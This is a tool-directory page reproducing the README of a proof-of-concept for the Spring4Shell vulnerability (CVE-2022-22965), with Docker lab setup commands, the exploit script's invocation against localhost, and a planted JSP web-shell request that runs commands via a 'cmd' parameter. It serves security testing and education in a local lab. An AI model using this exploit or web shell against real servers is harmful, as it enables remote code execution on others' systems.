Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22965 — Proof-of-concept exploit for CVE-2022-22965 (Spring4Shell) with a vulnerable Spring Boot application, Python exploit script, and Docker-based lab environment for testing. | Kitploit
Tools/GitHubGitHub/mariomamo/cve-2022-22965
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmariomamo/cve-2022-22965

CVE-2022-22965

Proof-of-concept exploit for CVE-2022-22965 (Spring4Shell) with a vulnerable Spring Boot application, Python exploit script, and Docker-based lab environment for testing.

View Repository
51144 years agoNot yet reviewed
Share

👾 CVE-2022-22965

This is a proof of concept of an exploit for CVE-2022-22965 (spring4shell) vulnerability. It is composed by:

  • A vulnerable Springboot application;
  • An exploit script written in python;
  • A safe app for test that the exploit doesn't work;
  • A dockerfile for running the vulnerable application and test the exploit;

🔧Collaborators

  • [🇮🇹] Mario Offertucci;
  • [🇮🇹] Antonio Donnarumma.

⚙️ Prerequisites

  • Docker: It is used for running a tomcat container with the Springboot application;
  • Python: It is used for running the exploit;

1️⃣ Running the Springboot application

Inside the project root folder there is a Dockerfile that creates a tomcat image and copies the vulnerable_app/target/spring4shell.war and safe_app/target/safeapp.war file inside /usr/local/tomcat/webapps folder, so you just have to build the image and start the container.

Build the tomcat image

docker build -t cve_2022_22965 .

Start the container

docker run -p 8080:8080 -d --name springshell cve_2022_22965

Check if the application is responding

curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson

If you see this response

This is Elliot Alderson

Then the application is up and running.

2️⃣ Now you can run the exploit

cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit

You can optionally specify the injected jsp file name but it is not mandatory. Example

cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp

If you don't specify a name a randome one will be generated.

You will see the following in the command shell
After the exploit you can send a command also via HTTP GET request

http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls

You have succesfully opened a shell on the victim machine! enjoy

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →